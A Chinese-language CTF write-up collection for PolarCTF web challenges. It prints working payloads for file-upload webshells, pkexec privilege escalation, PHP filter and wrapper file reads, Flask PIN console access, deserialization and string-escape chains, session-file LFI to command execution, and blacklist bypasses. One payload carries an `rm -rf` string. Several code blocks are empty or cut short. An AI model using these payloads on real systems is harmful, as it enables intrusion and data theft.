poalr困难

poalr困难
达达这又是一个上传
前端检查后缀 上传文件 bp抓包 改后缀
antsword连接后发现没权限 啥都读不了
终端打开可以发现用户是www-data 没有读取文件的权限
查找SUID提权文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
有个/opt/polkit-0.105/src/programs/.libs/pkexec
polkit-0.105/src/programs/.libs/pkexec存在本地提权漏洞 CVE-2021=4034
berdav/CVE-2021-4034: CVE-2021-4034 1day
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
提权前提:完整的tty是很多命令执行的前提,比如sudo,不是完整的tty是不能sudo的。
以下是一些必须依靠tty的命令。
passwd: 修改用户密码时,需要在TTY中输入当前密码和新密码。
su / sudo: 切换用户或以管理员权限执行命令时,通常需要在TTY中输入相应的密码。
shutdown / reboot: 关机或重启系统时,可能需要在TTY中输入管理员密码或确认操作。
top / htop: 查看系统进程和资源占用情况,这些命令在TTY中显示实时信息。
vim / nano / emacs: 编辑文本文件时,这些文本编辑器通常在TTY中使用。
apt / yum / dnf: Linux 发行版的包管理器,进行软件包安装、更新或删除时需要在TTY中执行。
ssh: 通过终端远程登录到其他计算机时,需要在TTY中输入密码或进行身份验证。
gnome-terminal / konsole / xterm: 在图形界面下打开终端时,这些终端模拟器在TTY中运行。
原文链接:https://blog.csdn.net/Jayjay___/article/details/135097075
使用哥斯拉的superterminal(命令执行),可以直接解决没完整tty的问题
antsword就不行了
至于Godzilla的使用
我是用命令打开的
java -jar godzilla.jar
先用godzilla生成一个木马重新上传 连接 注意改一下有效载荷
连接成功 然后右键进入就可以了
使用superterminal 可以解决伪tty的问题
然后看了好多博客 发现都是传到了/tmp文件夹下 但是我这里是不显示/tmp文件夹的 没有读写权限
因为upload文件夹肯定是有读写权限的 就直接传到upload文件夹下了
命令
1 | make |
参考文章:Polar 这又是一个上传_这又是一个上传 polar-CSDN博客
网站被黑
查看消息头发现Hint
base32解码
text通过data伪协议进行写入
1 | text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz |
file要通过php://filter协议进行读取 base被禁了
利用其他过滤器
特殊编码
- base家族
- string过滤器
- iconv字符集
base64编码
注意php://filter只支持base64
1 | php://filter/convert.base64-encode/resource=flag.php |
string过滤器
比较常用的就是rot13
1 | php://filter/string.rot13/resource=flag.php |
string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除
1 | php://filter/string.strip_tags/resource=flag.php |
还有大小写的转换,但是基本没什么用
iconv字符集
convert.iconv..
如何理解结构
convert.iconv..
input-encoding
用于解释
string
的当前编码。 数据流 可以识别的字符集
to_encoding
所需的结果编码。 (进行转换的字符集)
1 | UCS-4* |
UCS是什么:通用多八位编码字符集
常用的编码绕过
对于小众编码的解码在线网站 https://www.novel.tools/decode/
将flag.php内容解释为UTF-8后转化为UTF-7进行输出
1 | php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php |
将flag.php内容解释为UTF-7后转化为UCS-2进行输出
1 | php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php |
依次类推,编码方法有很多
1 | php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php |
php://filter/read=convert.quoted-printable-encode/resource=flag.php
这个流包装器将文件内容 以 quoted-printable 编码进行转换。
convert.quoted-printable-encode
:- 将文件内容转换为 quoted-printable 编码,这种编码通常用于电子邮件中传输非 ASCII 字符或二进制数据。
- 用法:这种转换通常用于编码文件内容,以便将其传输到电子邮件或需要编码的其他系统。
示例:
1 | file = file_get_contents('php://filter/read=convert.quoted-printable-encode/resource=flag.php'); |
这将读取 flag.php
文件,并对其内容应用 quoted-printable 编码。
这里利用rot13编码
payload:
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/string.rot13/resource=imposible.php |
ji
rot13解码得到flag
1 |
|
flask_pin
pin码计算
找到六个参数 计算ping码 通过consle 来执行命令
1 | 1.username -->用户名 |
app.py路径 : /usr/local/lib/python3.5/site-packages/flask/app.py
报错页面就有
/file路由 有一个任意文件读取漏洞
username: root
modname: 固定为flask.app
1 | getattr(app,"__name__",app.__class__.__name__): 也基本固定为Flask |
uuid: 02:42:ac:02:25:4a 转换为十进制 是十六进制转十进制 : 删去 得到 2485376918858
读取/sys/class/net/ens33/address #contos
或 /sys/class/net/eth0/address #ubuntu
该题是ubuntu
1 | mac = "02:42:ac:02:25:4a" |
get_machine_id():
c31eea55a29431535ff01de94bdcf5cf15df40d3ac9f85fa827123f2309677b65db5c28fb802f773b25d9b41c23af0af
读取 /etc/machine-id 在前 /proc/self/cgroup #docker 第一行最后一部分
两个进行拼接
计算pin码 这里是用md5算法生成pin
1 | import hashlib |
得到pin码:205-202-775
进入console界面 输入pin码 进入控制台 在控制台中执行命令
veryphp
1 | shaw_root=a9<b>aaaaaaaa>>>>xyzabcp@Rsa |
_用 [ 绕过
1 | shaw[root=-a9<b>aaaaaaaa>>>>xyzabcp@Rsa |
用bp传
爆破MD5
md5(“shaw”.($SecretNumber).”root”)==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
使用hashcat爆破 kali是自带的 SecretNumber是5个数字
1 | hashcat -m 0 -a 3 166b47a5cb1ca2431a0edfcef200684f shaw?d?d?d?d?droot |
爆破出的是shaw21475root
即ans=21475
payload:
1 | haw[root=-a9<b>aaaaaaaa>>>>xyzabcp@RsaS&ans=21475&my[ans=qwq::oao |
毒鸡汤
扫描可以发现有 robots.txt www.zip
robots.txt文件里是一个hint.txt
这个hint说flag文件放到系统根目录了
直接传参读/flag文件就出了
1 | ?readfile=/flag |
upload tutu
传的文件不能一样(文件内容不一样)
MD5哈希值不匹配 这里是MD5的弱比较
改一下文件内容即可 发包会跳转到flag界面
1 | QLTHNDT |
Unserialize_Escape
x被替换成yy 字符串逃逸
需要unserialize($r)[1] == “123456”
所以要逃逸的内容是
1 | ";i:1;s:6:"123456";} |
共20个字符 前面加20个x
xxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”123456”;}
即payload:
1 | username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";} |
查看源码即可
自由的文件上传系统
上传一个文件 文件会被重命名 也就导致木马没有上传成功
点击那个小房子 会跳转到一个文件包含的页面 所以这题就是要通过文件包含去利用木马
读取一下上传的文件 发现 ? 被替换为 ! 了
可以用php的script标记来绕过
即上传内容为
1 | <script language="php"> |
上传成功 通过文件包含读取上传的文件 执行命令
苦海
反序列化
最终利用点是
1 | public function Get_file($file) |
poc:
1 | <?php |
读取的是 ../flag.php文件
paylaod:
1 | ?user=O:4:"User":2:{s:4:"name";O:9:"Surrender":3:{s:5:"phone";i:110;s:7:"promise";s:25:"遵纪守法,好公民~";s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";r:6;}}}s:4:"flag";s:21:"syst3m("rm -rf ./*");";} |
base64解码
你想逃也逃不掉
字符串逃逸
需要逃逸出的内容 “;s:6:”passwd”;s:4:”flag”;s:4:”sign”;s:6:”ytyyds”;}
目标代码是 flag”;s:4:”sign”;s:6:”ytyyds”;}
需要吃掉 “;s:6:”passwd”;s:4:” 20个字符
5个phtml
name=phtmlphtmlphtmlphtmlphtml
passwd=”;s:6:”passwd”;s:4:”flag”;s:4:”sign”;s:6:”ytyyds”;}
然后这里是不对的 本地测试一下
1 | a:3:{s:8:"username";s:20:"";s:6:"passwd";s:51:"";s:6:"passwd";s:4:"flag";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"ytyyds";} |
paylaod:
1 | name=phtmlphtmlphtmlphtmlphtml |
搞不清楚字符串逃逸减少,不知道为什么会多一个字符 总之能出了 就先这样吧
safe_include
本地文件包含漏洞(LFI) 可以用来实现任意代码执行(RCE)
Session 文件包含 RCE
1 | ?xxs=<?php system('ls /');?> |
1 | $_SESSION['xxs'] = "<?php system('id'); ?>"; |
PHP 会将这个内容写入 /tmp/sess_abcdefg
然后访问:
1 | GET /?xxs=/tmp/sess_abcdefg |
服务端执行:
1 | include "/tmp/sess_abcdefg"; |
从而触发 system('ls');
—— 远程命令执行!
写入的php代码只能执行一次
phar
有个文件包含漏洞 读取funs.php
1 | ?file=php://filter/read/convert.base64-encode/resource=funs.php |
解码得到
反序列化漏洞
poc:
1 |
|
payload:
1 | ?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}} |
PHP_Deserialization
1 | Polar.__wakeup -> Night.__call -> Day.__toString |
poc:
1 |
|
payload:
1 | Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319 |
Deserialize
访问/hidden
/hidden/hidden.php
poc:
1 |
|
payload:
1 | ?data=O:4:"User":3:{s:4:"name";N;s:7:"isAdmin";i:1;s:5:"token";O:5:"Token":3:{s:2:"id";N;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";N;s:5:"price";N;}}} |
ezezser
源码不全 .git泄露
扫描
用githacker工具恢复源码
WangYihang/GitHacker:🕷️一个 ‘.git’ 文件夹利用工具,能够恢复整个 Git 仓库,包括储藏、常用分支和常用标签。
1 | githacker --url http://1ae847d2-d227-4123-910b-3b6f31b83a11.www.polarctf.com:8090/.git/ --output-folder polarctf |
打开文件执行
1 | git log |
使用命令git diff + 版本commit
,查看信息改动,恢复源码
1 | git diff 0c635537b773cdd87268e7dbdc51f985eca0b0b4 |
index.php文件里得到恢复好的源码
1 |
|
poc:
1 |
|
paylaod:
1 | ?polarnight=1&polarday=1 |
任务cmd
源码里的提示
扫描发现了一个new目录
进入/new/boss.html文件
计划一 可以看到是一个upload.php文件
计划二 cmd 白名单计划
感觉是猜吗 upload.php文件里 是可以GET传参cmd执行命令的
cat /flag 读取不了
看一下upload.php文件
cat upload.php
发现flag在黑名单里 用反反斜杠绕过即可
cmd传参的命令的第一个词(即命令名)需要是ls或者cat
1 | ls /;cat /f\lag |